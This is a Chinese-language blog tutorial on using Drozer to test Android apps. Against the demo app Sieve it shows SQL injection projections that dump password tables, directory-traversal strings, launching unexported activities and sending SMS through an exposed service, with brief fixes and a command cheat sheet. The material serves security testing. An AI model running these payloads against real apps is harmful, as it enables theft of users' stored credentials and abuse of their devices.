• 安卓渗透测试工具Drozer学习笔记


    下载,并安装。

    pip安装即可,安装完成后可能会出现缺少twisted依赖库的问题

    ➜  vul git:(master) ✗ drozer console connect
    drozer Server requires Twisted to run.
    Run 'pip install twisted' to fetch this dependency.
    

    安装twisted时,出现一片红,需要--user指定用户。

    本地安装好drozer环境后,客户端也需要安装一个agent负责监听处理

    下载链接:https://labs.mwrinfosecurity.com/tools/drozer/,最新版文件名为drozer-agent-2.3.4.apk

    adb连接模拟器

    ➜  vul git:(master) ✗ adb connect 127.0.0.1:62001
    adb server version (32) doesn't match this client (39); killing...
    * daemon started successfully
    connected to 127.0.0.1:62001
    

    推送安装drozer-agent-2.3.4.apk

    ➜  vul git:(master) ✗ adb install ~/Desktop/drozer-agent-2.3.4.apk
    /Users/wq/Desktop/drozer-agent-2.3.4.apk: 1...e pushed. 6.5 MB/s (633111 bytes in 0.093s)
    	pkg: /data/local/tmp/drozer-agent-2.3.4.apk
    Success
    

    开启端口映射,使模拟器启动时开启一个端口连接本地drozer服务端

    ➜  vul git:(master) ✗ adb forward tcp:31415 tcp:31415
    

    然后在模拟器上启动drozer,并开启监听模式

    命令行启动drozer,开启连接

    ➜  vul git:(master) ✗ drozer console connect
    :0: UserWarning: You do not have a working installation of the service_identity module: 'No module named service_identity'.  Please install it from <https://pypi.python.org/pypi/service_identity> and make sure all of its dependencies are satisfied.  Without the service_identity module, Twisted can perform only rudimentary TLS client hostname verification.  Many valid certificate/hostname mappings may be rejected.
    Selecting 9ACA331490420000 (OPPO OPPO A33m 4.4.2)
    
                ..                    ..:.
               ..o..                  .r..
                ..a..  . ....... .  ..nd
                  ro..idsnemesisand..pr
                  .otectorandroidsneme.
               .,sisandprotectorandroids+.
             ..nemesisandprotectorandroidsn:.
            .emesisandprotectorandroidsnemes..
          ..isandp,..,rotectorandro,..,idsnem.
          .isisandp..rotectorandroid..snemisis.
          ,andprotectorandroidsnemisisandprotec.
         .torandroidsnemesisandprotectorandroid.
         .snemisisandprotectorandroidsnemesisan:
         .dprotectorandroidsnemesisandprotector.
    
    drozer Console (v2.4.3)
    dz>
    

      准备工作完成。

     1、内容供应器泄露

    检测方法:反编译后,cat AndroidManifest.xml|grep -R 'content://'

    修复方案:在创建内容供应器时指定参数android:exported = false

    2、不安全的文件存储

    检测方法:进入adb shell,执行find命令找出权限存在问题的文件

    修复方案:权限控制,指定文件的正确文件权限,禁止全局可读,并且不能由任何其它应用程序不需任何权限访问

    3、目录遍历或本地文件包含漏洞

    检测方法:dz针对内容供应器 URI进行app.provider.read方法,拼接../../../../../etc/hosts或proc/cpu

    修复方法:控制权限

    4、客户端注入攻击

    检测方法:

    获取所有uri:run scanner.provider.injection -a 包名

    dz>  run scanner.provider.injection -a com.mwr.example.sieve
    Scanning com.mwr.example.sieve...
    Not Vulnerable:
      content://com.mwr.example.sieve.DBContentProvider/Keys
      content://com.mwr.example.sieve.DBContentProvider/
      content://com.mwr.example.sieve.FileBackupProvider/
      content://com.mwr.example.sieve.DBContentProvider
      content://com.mwr.example.sieve.FileBackupProvider
    
    Injection in Projection:
      content://com.mwr.example.sieve.DBContentProvider/Keys/
      content://com.mwr.example.sieve.DBContentProvider/Passwords
      content://com.mwr.example.sieve.DBContentProvider/Passwords/
    
    Injection in Selection:
      content://com.mwr.example.sieve.DBContentProvider/Keys/
      content://com.mwr.example.sieve.DBContentProvider/Passwords
      content://com.mwr.example.sieve.DBContentProvider/Passwords/
    

    进行注入:run app.provider.query [Content Provider URI] --projection "* FROM SQLITE_MASTER WHERE type='table';- -",或者直接 "* FROM Key;--" 获取某个表的数据。

    dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM SQLITE_MASTER WHERE type='table';--"
    | type  | name             | tbl_name         | rootpage | sql                                                                                              |
    | table | android_metadata | android_metadata | 3        | CREATE TABLE android_metadata (locale TEXT)                                                      |
    | table | Passwords        | Passwords        | 4        | CREATE TABLE Passwords (_id INTEGER PRIMARY KEY,service TEXT,username TEXT,password BLOB,email ) |
    | table | Key              | Key              | 5        | CREATE TABLE Key (Password TEXT PRIMARY KEY,pin TEXT )                                           |
    

    Activity安全问题

    查看exported的activity,除了MainLoginActivity是启动主界面,其他两个activity不能被exported

    dz> run app.activity.info -a com.mwr.example.sieve
    Package: com.mwr.example.sieve
      com.mwr.example.sieve.FileSelectActivity
        Permission: null
      com.mwr.example.sieve.MainLoginActivity
        Permission: null
      com.mwr.example.sieve.PWList
        Permission: null
    

    启动其中一个activity如PWList

    dz> run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList
    

    可能存在问题:

    1、拒绝服务

    当permission=null时,意味着其他应用无须权限就可以调用这些activity。同时,如果activity的调用是需要参数的,那么在调用时不带上参数就会因为输入异常导致应用崩溃了,这样就造成了本地拒绝服务。

    2、越权访问

    绕过流程执行到敏感步骤或者敏感数据

    Service安全问题

    权限提升

    dz> run app.service.start --action com.mwr.example.sieve.CryptoService.vulnerability.SEND_SMS --extra string dest 11111 --extra string text 1111 --extra string OP SEND_SMS
    

    ################################################

    命令大全:

    list或ls 查看可用模块 
    run app.package.list  查看程序安装包  
    run app.package.info -a com.example.myapp  查看程序包信息  
    run app.package.attacksurface com.example.myapp  查看项目对外exported的组件 
    run app.activity.info -a com.example.myapp  查看对外activity的信息  
    run app.service.info -a com.example.myapp  查看对外service的信息  
    run app.broadcast.info -a com.example.myapp  查看对外broadcast的信息  
    run app.provider.info -a com.example.myapp  查看对外provider的信息  
    
    run app.activity.start --component com.example.myapp com.example.MainActivity 尝试启动MainActivity  
    run scanner.provider.finduris -a com.example.myapp 探测出可以查询的URI  
    run app.provider.query content://***/ -vertical  获取Uri的数据  
    run app.provider.insert URI对应数据表中的字段    对数据库表进行插入操作
     
    run app.provider.delete URI–-selection “条件” 对数据库表进行删除操作
    1.  
      Content Providers(SQL注入)
    2.  
      run app.provider.query content://***/ --projection "'"
    3.  
      run app.provider.query content://***/ --selection "'"
    1.  
      报错则说明存在SQL注入。
    2.  
      run app.provider.query content://***/ --projection "* FROM SQLITE_MASTER WHERE type='table';--"
    3.  
      获取某个表(如Key)中的数据:
    4.  
      run app.provider.query content://***/ --projection "* FROM Key;--"
    5.  
      同时检测SQL注入和目录遍历
    6.  
      run scanner.provider.injection -a com.example.myapp
    7.  
      run scanner.provider.traversal -a com.example.myapp
     参考链接:https://www.cnblogs.com/goodhacker/p/3906180.html
  • 相关阅读:
    函数参数
    字符编码
    本周内容
    int,float,str,list,dict,元组
    python 基础变量
    Python学习(小笔记一)
    🌐 网络管理
    📓 LVM相关
    📹 进程管理(二)
    🎬进程管理
  • 原文地址:https://www.cnblogs.com/co10rway/p/9447827.html
Copyright © 2020-2023  润新知